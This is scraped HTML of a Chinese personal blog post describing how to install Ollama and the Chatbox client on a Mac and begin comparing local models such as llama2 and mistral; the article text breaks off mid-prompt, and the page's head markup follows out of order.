class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">mac体验ollama本地大模型</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-e8fd9138663d415d968424343fb3248f"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-bc73e0a0094045959732ab9c28cd26a7"><a href="#ba4103b98a3f4c44bda847b3722d4e15" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#2aa083b807264e50bd4df857b5dd0316" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">基础配置</span></a><a href="#45149c38559d414b830fc06c20da7dec" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">ollama</span></a><a href="#5ea402bc1e804e359b3343c347bda5e7" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">chatbox</span></a><a href="#d52f61a6953045cf8e555822170d7448" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">模型对比</span></a><a href="#5efbbd5123a04cc2b0343da0b79430f7" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">promot&amp;question</span></a><a href="#d47a618fcf904bc495576424452366d4" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">openai:3.5</span></a><a href="#c713c08c2d0b4eb1881771fec58212ef" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">mistral:7b</span></a><a href="#7e5fed0f7e6c4eb0957baf7e801e764e" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">llama2:4b</span></a><a href="#6e0e38e977744f499fbb67e52a21593d" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">starcoder2:15b</span></a><a href="#9d06ce11437e4aef8661c6551d358cf5" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">llama2:13b</span></a><a href="#440e5ba9230942239df250ca1b67e237" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">总结</span></a><a href="#e1da917bbb7142529f5fd1c997b18551" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">写到最后</span></a></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-ba4103b98a3f4c44bda847b3722d4e15" data-id="ba4103b98a3f4c44bda847b3722d4e15"><span><div id="ba4103b98a3f4c44bda847b3722d4e15" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ba4103b98a3f4c44bda847b3722d4e15" title="契机"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">契机</span></span></h2><div class="notion-callout notion-gray_background_co notion-block-e8405e2223194ec093b35a799df21fc4"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="⚙">⚙</span></div><div class="notion-callout-text">最近发现了meta发布了llama2模型,搜索一圈发现使用ollama部署特别的方便</div></div><div class="notion-blank notion-block-7dfa62e308fb4a0daf59773b0f9f56dc"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2aa083b807264e50bd4df857b5dd0316" data-id="2aa083b807264e50bd4df857b5dd0316"><span><div id="2aa083b807264e50bd4df857b5dd0316" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2aa083b807264e50bd4df857b5dd0316" title="基础配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基础配置</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-45149c38559d414b830fc06c20da7dec" data-id="45149c38559d414b830fc06c20da7dec"><span><div id="45149c38559d414b830fc06c20da7dec" class="notion-header-anchor"></div><a class="notion-hash-link" href="#45149c38559d414b830fc06c20da7dec" title="ollama"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">ollama</span></span></h3><ul class="notion-list notion-list-disc notion-block-281bb727bba84f6ea1ffb55b6f76b39c"><li>直接去官网下载:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://ollama.com/">https://ollama.com/</a></li></ul><ul class="notion-list notion-list-disc notion-block-b64c746d9c8c458e92922e365dea363b"><li>命令行运行ollama -h查看命令集</li></ul><ul class="notion-list notion-list-disc notion-block-1b0d3b8dc1f04ca3907c1e34341d376b"><li>查看本地模型列表:ollama list</li></ul><ul class="notion-list notion-list-disc notion-block-db1102e6f11145af96a4db331284b95b"><li>下载并且运行模型:ollama run llama2:13b</li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-78995c5ea8424a30b1a93a93f7b37307"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F0ed7329d-d7fd-4a94-b61c-b320abce770b%2FUntitled.png?table=block&amp;id=78995c5e-a842-4a30-b1a9-3a93f7b37307&amp;t=78995c5e-a842-4a30-b1a9-3a93f7b37307" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-5ea402bc1e804e359b3343c347bda5e7" data-id="5ea402bc1e804e359b3343c347bda5e7"><span><div id="5ea402bc1e804e359b3343c347bda5e7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5ea402bc1e804e359b3343c347bda5e7" title="chatbox"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">chatbox</span></span></h3><ul class="notion-list notion-list-disc notion-block-90137cb747e442a8bd953be130d612a0"><li>gpt的client端,支持多种模型,包括ollama本地运行的模型</li></ul><ul class="notion-list notion-list-disc notion-block-5ed02535d8e346f58efb5e68003b6fec"><li>地址:<a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://github.com/Bin-Huang/chatbox">https://github.com/Bin-Huang/chatbox</a></li></ul><ul class="notion-list notion-list-disc notion-block-426b70c6f0fe4849b277b986cc09a3eb"><li>内置了许多的promot,比如软件工程师,翻译助手,小红书标题生成器</li></ul><ul class="notion-list notion-list-disc notion-block-24e1ffffe99e4a8eb080f3948a289de8"><li>支持为每一个会话指定特殊的模型</li></ul><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-0b1e06e421a74f20b95cdd39c9232d8e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F57a953d1-aa3b-4836-b7de-fa0eb70300f9%2FUntitled.png?table=block&amp;id=0b1e06e4-21a7-4f20-b95c-dd39c9232d8e&amp;t=0b1e06e4-21a7-4f20-b95c-dd39c9232d8e" alt="notion image" loading="lazy" decoding="async"/></div></figure><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-d52f61a6953045cf8e555822170d7448" data-id="d52f61a6953045cf8e555822170d7448"><span><div id="d52f61a6953045cf8e555822170d7448" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d52f61a6953045cf8e555822170d7448" title="模型对比"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">模型对比</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-5efbbd5123a04cc2b0343da0b79430f7" data-id="5efbbd5123a04cc2b0343da0b79430f7"><span><div id="5efbbd5123a04cc2b0343da0b79430f7" class="notion-header-anchor"></div><a class="notion-hash-link" href="#5efbbd5123a04cc2b0343da0b79430f7" title="promot&amp;question"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">promot&amp;question</span></span></h3><blockquote class="notion-quote notion-block-3fee6369f3e14e3eb833b1f24a8acf97"><div>promot:</div><div class="notion-text notion-block-f8f42a19b2fc45dda16f7eb56a1f35e9">你是一个高级软件工程师,你需要帮我解答各种技术难题、设计技术方案以及编写代码。你编写的代码必须可以正常运行,而且没有任何 Bug 和其他问题。如果你的回答中用代码,请用 markdown 代码块,并且在代码块中标明使用的编程语言。
+<!DOCTYPE html><html lang="zh-CN"><head><title>mac体验ollama本地大模型 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="工具,推荐,折腾"/><meta name="description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="mac体验ollama本地大模型 | Both Savage"/><meta property="og:description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta property="og:url" content="https://bothsavage.github.io//article/240325-ollama"/><meta property="og:image" content="https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="m1 pro芯片+32g体验了五种大模型本地部署"/><meta name="twitter:title" content="mac体验ollama本地大模型 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" 